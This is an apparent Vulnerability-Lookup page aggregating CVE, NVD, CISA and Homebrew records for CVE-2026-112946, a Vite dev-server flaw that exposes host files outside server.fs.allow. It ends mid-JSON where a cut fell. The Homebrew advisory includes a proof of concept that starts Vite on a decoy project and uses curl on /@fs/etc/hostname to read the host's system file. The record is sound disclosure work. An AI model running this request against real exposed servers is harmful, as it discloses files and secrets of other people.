Vulnerability-Lookup

CVE-2026-112946 (GCVE-0-2026-112946)

Vulnerability from cvelistv5 – Published: 2026-10-20 15:03 – Updated: 2026-10-20 16:46

Title

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

Summary

Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.

Severity

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-20 16:45 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-284 - Improper Access Control

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7674 records in the last 180 days details

References

7 references

URL	Tags
https://github.com/vitejs/vite/security/advisorie…	x_refsource_CONFIRM
https://github.com/vitejs/vite/pull/23656	x_refsource_MISC
https://github.com/vitejs/vite/commit/170b9279142…	x_refsource_MISC
https://github.com/vitejs/vite/commit/45c0e3392a2…	x_refsource_MISC
https://github.com/vitejs/vite/commit/c3e06f92e96…	x_refsource_MISC
https://github.com/vitejs/vite/commit/e570d8d0160…	x_refsource_MISC
https://github.com/vitejs/vite/commit/f0d76c7da13…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
vitejs	vite	Affected: >= 8.3.0, < 8.3.3 Affected: >= 8.2.0, < 8.2.4 Affected: >= 8.0.0, < 8.1.6 Affected: >= 7.0.0, < 7.3.7 Affected: < 6.4.4	guessed
vitejs	vite-plus	Affected: < 1.1.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-112946",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-20T16:45:38.089794Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-20T16:46:18.810Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vite",
          "vendor": "vitejs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 8.3.0, \u003c 8.3.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.2.0, \u003c 8.2.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 8.1.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.0.0, \u003c 7.3.7"
            },
            {
              "status": "affected",
              "version": "\u003c 6.4.4"
            }
          ]
        },
        {
          "product": "vite-plus",
          "vendor": "vitejs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T15:03:55.196Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
        },
        {
          "name": "https://github.com/vitejs/vite/pull/23656",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/pull/23656"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0"
        },
        {
          "name": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3"
        }
      ],
      "source": {
        "advisory": "GHSA-rq7h-c2jc-7f22",
        "discovery": "UNKNOWN"
      },
      "title": "Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-112946",
    "datePublished": "2026-10-20T15:03:55.196Z",
    "dateReserved": "2026-10-19T21:30:47.245Z",
    "dateUpdated": "2026-10-20T16:46:18.810Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-112946",
      "date": "2026-10-22",
      "epss": "0.00851",
      "percentile": "0.57801"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "vite",
                "vendor": "vitejs",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 8.3.0, \u003c 8.3.3"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 8.2.0, \u003c 8.2.4"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 8.0.0, \u003c 8.1.6"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 7.0.0, \u003c 7.3.7"
                  },
                  {
                    "status": "affected",
                    "version": "\u003c 6.4.4"
                  }
                ]
              },
              {
                "product": "vite-plus",
                "vendor": "vitejs",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.1.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3."
          }
        ],
        "id": "CVE-2026-112946",
        "lastModified": "2026-10-20T19:56:45.543",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 6.3,
                "baseSeverity": "MEDIUM",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-112946",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-20T16:45:38.089794Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-20T16:17:05.210",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/pull/23656"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-22"
              },
              {
                "lang": "en",
                "value": "CWE-284"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Low",
      "current_release_date": "2026-10-22T21:19:50+00:00",
      "cve": "CVE-2026-112946",
      "id": "CVE-2026-112946",
      "initial_release_date": "2026-10-20T15:03:55.196000+00:00",
      "product_status:known_affected": "19",
      "product_status:known_not_affected": "2",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "vite: Vite: Information disclosure via improper module path handling",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112946.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-112946",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-20T16:45:38.089794Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-20T16:45:51.612Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "vite",
              "vendor": "vitejs",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 8.3.0, \u003c 8.3.3"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 8.2.0, \u003c 8.2.4"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 8.0.0, \u003c 8.1.6"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 7.0.0, \u003c 7.3.7"
                },
                {
                  "status": "affected",
                  "version": "\u003c 6.4.4"
                }
              ]
            },
            {
              "product": "vite-plus",
              "vendor": "vitejs",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.1.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 6.3,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-284",
                  "description": "CWE-284: Improper Access Control",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-20T15:03:55.196Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
            },
            {
              "name": "https://github.com/vitejs/vite/pull/23656",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitejs/vite/pull/23656"
            },
            {
              "name": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa"
            },
            {
              "name": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721"
            },
            {
              "name": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905"
            },
            {
              "name": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0"
            },
            {
              "name": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3"
            }
          ],
          "source": {
            "advisory": "GHSA-rq7h-c2jc-7f22",
            "discovery": "UNKNOWN"
          },
          "title": "Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-112946",
        "datePublished": "2026-10-20T15:03:55.196Z",
        "dateReserved": "2026-10-19T21:30:47.245Z",
        "dateUpdated": "2026-10-20T16:46:18.810Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BREW-VITE-CVE-2026-112946 (GHSA-RQ7H-C2JC-7F22)

Vulnerability from osv_homebrew – Published: 2026-10-22 11:18 – Updated: 2026-10-22 11:18 – Source website

Summary

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

explicitly expose the Vite dev server to the network (using --host or the server.host option)
contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
The sensitive file is not matched by server.fs.deny
the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

6.3 (Medium)


                    
                      CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

URL

Type

	https://github.com/vitejs/vite/security/advisorie…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-112946	ADVISORY
	https://github.com/vitejs/vite/pull/23656	WEB
	https://github.com/vitejs/vite/commit/170b9279142…	WEB
	https://github.com/vitejs/vite/commit/45c0e3392a2…	WEB
	https://github.com/vitejs/vite/commit/c3e06f92e96…	WEB
	https://github.com/vitejs/vite/commit/e570d8d0160…	WEB
	https://github.com/vitejs/vite/commit/f0d76c7da13…	WEB
	https://github.com/vitejs/vite	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "8.3.3"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "vite",
        "purl": "pkg:brew/vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.1"
            },
            {
              "fixed": "8.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/vite@8.3.4",
        "name": "vite",
        "strategy": "registry",
        "subject_version": "8.3.4"
      }
    ]
  },
  "details": "### Summary\n\nThe content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `\u003cpath-to-project-root\u003e/etc/hosts`, the content of `/etc/hosts` was possible to be returned.\n\nThe content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `\u003cproject-root\u003e/etc/hosts` could make Vite return the host\u0027s `/etc/hosts` file.\n\n### Impact\n\nOnly apps that meet all of the following conditions are affected:\n\n- explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host))\n- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host\n- The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)\n- the dev server is not running on Windows\n\n### Details\n\nWhen Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`.\n\nFor a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`.\n\n### PoC\nThe following example requires Linux with a readable `/etc/hostname`:\n```bash\n$ mkdir vite-safe-module-path-poc\n$ cd vite-safe-module-path-poc\n$ npm init -y\n$ npm install vite@8.3.1\n$ mkdir -p etc\n$ echo \u0027PROJECT-DECOY\\n\u0027 \u003e etc/hostname\n$ echo \u0027import \"./etc/hostname\"\\n\u0027 \u003e main.js\n$ npx vite --host 127.0.0.1\n```\n\nIn another terminal:\n```bash\n$ curl -o /dev/null -s -w \u0027%{http_code}\\n\u0027 http://127.0.0.1:5173/main.js\n200\n$ curl -sS -o response -w \u0027%{http_code}\\n\u0027 http://127.0.0.1:5173/@fs/etc/hostname\n200\n$ cmp -s response /etc/hostname \u0026\u0026 echo \u0027response matches host file\u0027\nresponse matches host file\n```",
  "id": "BREW-vite-CVE-2026-112946",
  "modified": "2026-10-22T11:18:44Z",
  "published": "2026-10-22T11:18:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/pull/23656"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine",
  "upstream": [
    "GHSA-rq7h-c2jc-7f22",
    "CVE-2026-112946"
  ]
}

FKIE_CVE-2026-112946

Vulnerability from fkie_nvd - Published: 2026-10-20 16:17 - Updated: 2026-10-20 19:56

Severity

6.3 (Medium) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa
	security-advisories@github.com	https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721
	security-advisories@github.com	https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905
	security-advisories@github.com	https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0
	security-advisories@github.com	https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3
	security-advisories@github.com	https://github.com/vitejs/vite/pull/23656
	security-advisories@github.com	https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vite",
          "vendor": "vitejs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 8.3.0, \u003c 8.3.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.2.0, \u003c 8.2.4"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 8.1.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 7.0.0, \u003c 7.3.7"
            },
            {
              "status": "affected",
              "version": "\u003c 6.4.4"
            }
          ]
        },
        {
          "product": "vite-plus",
          "vendor": "vitejs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, import analysis can record a root-relative browser URL in safeModulePaths instead of the cleaned resolved module identifier. On a network-accessible, non-Windows development server, an imported project file whose URL matches an absolute host path can authorize a later raw-filesystem request for that host file, provided server.fs.deny does not block it. The request can disclose the matching file outside the project root, but it does not allow arbitrary path traversal because the host path must correspond to a project-relative URL authorized by the application graph. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3."
    }
  ],
  "id": "CVE-2026-112946",
  "lastModified": "2026-10-20T19:56:45.543",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
